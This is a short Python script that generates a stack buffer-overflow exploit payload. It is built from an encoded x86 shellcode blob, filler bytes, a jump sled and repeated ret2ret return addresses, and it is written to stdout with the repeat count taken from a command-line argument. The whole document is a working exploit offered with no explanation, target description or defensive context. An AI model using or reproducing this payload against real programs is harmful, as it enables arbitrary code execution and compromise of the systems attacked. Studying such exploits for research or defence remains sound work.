import struct
import string
import sys

ret2ret = struct.pack('<L',0x080488ebL)

shellcode = "\x29\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x79"
shellcode +="\xc0\x39\x92\x83\xeb\xfc\xe2\xf4\x13\xcb\x61\x0b\x2b\xa6\x51\xbf"
shellcode +="\x1a\x49\xde\xfa\x56\xb3\x51\x92\x11\xef\x5b\xfb\x17\x49\xda\xc0"
shellcode +="\x91\xeb\x39\x92\x79\xef\x4c\xe1\x0b\xef\x5b\xfb\x17\xef\x51\xf7"
shellcode +="\x01\xa4\x4c\xff\x09\xe0\x5f\xfe\x18\xa7\x17\xe6\x01\xb4\x19\xee"
shellcode +="\x59\xae\x5a\xb2\x54\xac\x19\xbf\x09\xe0\x08\xa0\x4a\xf4\x0c\x92"
shellcode +="\x2e\x93\xb0\x73\xb4\x40\x39\x92"

sys.stdout.write("\x40"*(2016 - 4  -len(shellcode) -len("\xeb\x1b")*60 ) + shellcode + "\xeb\x40"*60 +  string.atoi(sys.argv[1])*ret2ret)